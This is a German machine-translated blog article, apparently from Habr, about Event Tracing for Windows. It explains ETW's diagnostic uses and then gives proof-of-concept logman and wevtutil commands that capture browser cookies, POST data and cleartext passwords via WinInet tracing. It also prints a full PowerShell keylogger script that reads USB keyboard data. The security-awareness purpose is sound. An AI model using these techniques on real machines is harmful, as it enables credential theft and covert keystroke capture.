Event Tracing für Windows ist auf der bösen Seite. Das ist aber nicht sicher


In früheren Artikeln über den PowerShell-Sniffer und das Sammeln von Startdaten von einem Remote-Server habe ich bereits ein wenig über die ETW-Funktionen (Event Tracing für Windows) geschrieben. Heute möchte ich mehr über diese Technologie sprechen.


Gleichzeitig werde ich die Verwendung von HTTPS und das Erstellen eines Keyloggers in PowerShell als Beispiel dafür demonstrieren, wie es für immer verwendet werden kann. Oder nicht wirklich zum Guten.


Arbeite mit ETW


Die Ereignisverfolgung für Windows sammelt und sendet Nachrichten von Windows-Systemkomponenten und Anwendungen von Drittanbietern. Es erschien in den Tagen von Windows 2000, aber wenn es damals mehrere Dutzend Systemanbieter gab, liegt ihre Punktzahl jetzt bereits bei Hunderten. Nachrichten werden bequem verwendet, um Fehler zu diagnostizieren und Software-Leistungsprobleme zu lösen.


Einige Systemanbieter schreiben bereits standardmäßig in das Windows-Ereignisprotokoll, andere sind separat enthalten. Selbst wenn Sie nicht über ETW Bescheid wissen, verwenden Sie es wahrscheinlich. Sie können sich mit den Protokollen vertraut machen und einige davon bei Bedarf in der Standardereignisanzeige in den Anwendungs- und Dienstprotokollen aktivieren. Ein wenig über das Magazin und die Arbeit damit finden Sie im Artikel " Wir drehen die Protokolle nach Belieben - Analyse von Protokollen in Windows-Systemen ".


Sie können die Liste der vorhandenen Anbieter anzeigen, die uns nur gerne mit dem Befehl logman query provider mitteilen, was mit ihnen geschieht.



ETW-Anbieter.


Sie können die Liste der Anbieter anzeigen, die mit einem bestimmten Windows-Prozess verbunden sind (und daher etwas darüber erfahren), indem Sie den Befehl -pid <process PID> von logman query provider verwenden.



Liste der Anbieter, die mit einem normalen Notebook verbunden sind.


Sie können das Abonnement für Ereignisse eines bestimmten Anbieters oder die Ablaufverfolgung über PowerShell mithilfe des Cmdlets New-NetEventSession aktivieren . Sie können sogar mit der Maus auf den Pfad "Computerverwaltung" - "Leistung" - "Gruppe von Datensammlern" klicken. Hier können Sie in den Ereignisverfolgungssitzungen sehen, welche Traces ausgeführt werden, und auf Wunsch einen eigenen Collector erstellen.



Spuren laufen lassen.


Sie können das Ergebnis mit Dienstprogrammen und Dienstprogrammen wie Microsoft Message Analyzer , Windows Performance Toolkit oder sogar dem PowerShell -Cmdlet Get-WinEvent anzeigen .


Ich empfehle, dass Sie die Funktionen von ETW in der Microsoft-Dokumentation lesen. Beginnen Sie mit dem Abschnitt Informationen zur Ereignisverfolgung . Ich kann auch gutes Material empfehlen: „ Wir studieren ETW und ziehen Gewinne heraus “.


Da ETW auf Kernel-Ebene arbeitet, zeichnet es sich durch die Geschwindigkeit der Nachrichtenübertragung und das Fehlen der Notwendigkeit aus, Treiber oder Injects in Anwendungen zu installieren. In der Regel werden ETWs verwendet, um Leistungs- und Anwendungsprobleme zu diagnostizieren. Im Artikel „ Beschleunigen des Windows-Starts für Spaß und Gewinn “ werden beispielsweise Faktoren analysiert, die die Verlangsamung des Ladens beeinflussen. In dem Artikel 24-Core-CPU können ich meine Maus nicht bewegen - die Gründe für die Verlangsamung von Windows bei normalen Vorgängen. Lassen Sie mich ein Beispiel geben - die Analyse der Ausführung von PowerShell-Cmdlets.


PowerShell ansehen


Angenommen, Sie stellen auf irgendeine Weise (z. B. durch eine Prüfung von Prozessstarts) fest, dass verwaschene Prozesse und PowerShell-Skripts auf Ihrem Computer ausgeführt werden. Eine Technik wird darin bestehen, ETWs zu verwenden, um ihre Aktivität zu analysieren. Schauen Sie sich beispielsweise den PowerShell-Anbieter an. Aktivieren Sie die Ablaufverfolgung mit dem folgenden Befehl:


logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets 

Warten wir nun, bis die unverständlichen Skripte funktionieren, und stoppen Sie die Ablaufverfolgung mit dem folgenden Befehl:


 logman stop pstrace -ets 

Jetzt können Sie die Ablaufverfolgung beispielsweise über Microsoft Message Analyzer anzeigen.



Verdächtige clean.ps1 sucht offensichtlich nach etwas und löscht es.


Wenn Sie die gewünschte Zeile auswählen, werden im unteren Bereich erweiterte Informationen zum Ereignis angezeigt.



Ah, dies ist das gleiche Skript zum Löschen des 1C-Cache!


Diesmal stellte sich heraus, dass alles banal war. In komplexeren Fällen können Sie jedoch eine Ablaufverfolgung ausführen, um andere Aktivitäten zu überprüfen:


  • Netzwerkaktivität;
  • DNS-Auflösung
  • Festplattenzugriff;
  • mit dem Gedächtnis arbeiten;
  • WMI-Aktivität
  • und vieles mehr.

Auf diese Weise kann ETW helfen, Malware zu erkennen und die Funktionsweise von Anwendungen zu verstehen. An einigen Stellen ist dies informativer als der übliche Prozessmonitor . Zusätzlich zu guten Taten hat der Mechanismus eine „dunkle“ Seite.


Natürlich können Sie mit einem Hammer töten und mit einer Waffe sparen. Natürlich werde ich keine moralische Bewertung der Mechanismen vornehmen, aber auf jeden Fall eröffnen sich interessante Möglichkeiten.

Ich werde einige Beispiele als Proof-of-Concept nennen


S bedeutet sicher


In diesem Beispiel werde ich zeigen, wie einfach es ist, herauszufinden, wonach ein Benutzer im Internet sucht, auch über HTTPS. Sie können es ohne PowerShell sehen - nur eine Maus, nur Hardcore. In unserer Aufgabe gibt es einen Benutzer, Windows, Internet Explorer und ein Ereignisprotokoll.


Beginnen wir mit dem Aktivieren des Wininet-Ereignisprotokolls. Dies geschieht wie folgt: Öffnen Sie das Ereignisprotokoll auf der Registerkarte „Ansicht“ und aktivieren Sie die Anzeige von Analyse- und Debugprotokollen.



Fügen Sie die Anzeige der gewünschten Protokolle hinzu.


Aktivieren Sie danach UsageLog im Kontextmenü. Dies reicht aus, um die erforderlichen Informationen abzurufen. Verwenden wir den IE und sehen uns das Protokoll an:



WinInet Magazine.


Tatsächlich sind in den Magazinköpfen und einer direkten Anfrage an die Suchmaschine sichtbar.


Zusätzlich zu den Headern können Sie das Logbuch auch zum Abrufen von Cookies verwenden und gleichzeitig POST-Anforderungen anzeigen, z. B. zum Abrufen von Anmeldeinformationen. Die Technik funktioniert in allen Anwendungen, die wininet.dll verwenden, um mit dem Internet zu arbeiten. Zum Beispiel der Edge-Browser.


Dasselbe lässt sich problemlos in PowerShell und sogar in cmd implementieren. Ich werde zuletzt ein Beispiel für die Implementierung geben.


Erstellen Sie zunächst eine Ablaufverfolgung:


 logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets 

Lassen Sie uns nun im Browser arbeiten und die E-Mails überprüfen. Die Ablaufverfolgung kann dann mit dem folgenden Befehl gestoppt werden:


 logman stop CookieStealer -ets 

Die einfachste Analyse kann mit dem Befehlsdienstprogramm wevtutil.exe durchgeführt werden . Zum Anzeigen von POST-Anforderungen lautet der Befehl beispielsweise:


 wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST" 

Sie können sogar zufällig versuchen, nach dem Wort Passwort zu suchen und das Ergebnis zu erhalten.



Passwörter im Klartext. Sehr nervig.


Es ist erwähnenswert, dass das Antivirus gleichzeitig still war. Dies ist in der Tat ein normaler Verfolgungsprozess.


Natürlich können WinInet-Ereignisse auch verwendet werden, um Probleme wie "Warum diese Site nicht geöffnet wird und was überhaupt passiert" zu diagnostizieren. Trotzdem sind die Möglichkeiten sehr interessant. Ich wende mich einem noch verdrehteren Beispiel zu.


Keylogger auf PowerShell. Weil ich kann.


Unter Windows gibt es zwei interessante ETW-Anbieter:


  • Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) - funktioniert mit USB 2.0.


  • Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A) - funktioniert mit USB 3.0.



Mit ihrer Hilfe können Sie die HID-Daten abrufen, die ein USB-Gerät wie eine Tastatur oder eine Maus überträgt. Daten werden roh erfasst, können aber dank der HID- Spezifikation leicht gelesen werden.


Führen Sie zum Starten der Ablaufverfolgung einfach die folgenden Befehle aus:


 logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets 

Die Daten können mit dem PowerShell-Cmdlet abgerufen werden:


 $Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"} 

Ich werde ein Beispiel für ein einfaches Skript geben, das Trace-Daten liest und sie in lesbare Werte konvertiert. Die Konvertierung erfolgt nur für englische Buchstaben und ausschließlich in Großbuchstaben.


Vollständige Auflistung des Skripts unter dem Spoiler.
 $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination" 

Beim Start aktiviert das Skript die Ablaufverfolgung für 10 Sekunden und zeigt dann das Ergebnis an.



Das Ergebnis des Skripts.


Nachdem Sie die HID-Daten verstanden haben, können Sie das Skript natürlich zu einem vollständigen Keylogger verfeinern, der Daten von Tastatur und Maus aufzeichnet. Es ist erwähnenswert, welche Einschränkungen dieser Mechanismus aufweist:


  • funktioniert nur mit USB und PS \ 2 (wie es manchmal in Laptops zu finden ist) wird nicht unterstützt;
  • USB 3.0-Unterstützung wird nur in Windows 8 und höher angekündigt.
  • Administratorrechte (UAC) erforderlich.

Aber keine Fahrer und Abfangjäger. Natürlich kann ein solcher Keylogger zusätzlich zur böswilligen Verwendung helfen, Probleme mit der Tastatur zu diagnostizieren. Theoretisch.


Muss ich Angst haben?


Sogar die eingebauten Mechanismen in den Händen des Bösewichts können Probleme verursachen. Die Schutzmethoden bleiben unverändert: Blockieren Sie ausführbare Dateien, die nicht aus Systemverzeichnissen stammen, arbeiten Sie nicht als Benutzer mit Administratorrechten, und deaktivieren Sie die Benutzerkontensteuerung zumindest nicht, wenn sie funktionieren. Und natürlich werfen die integrierten Windows-Browser in Bezug auf die Sicherheit Fragen auf.

Source: https://habr.com/ru/post/de418787/


All Articles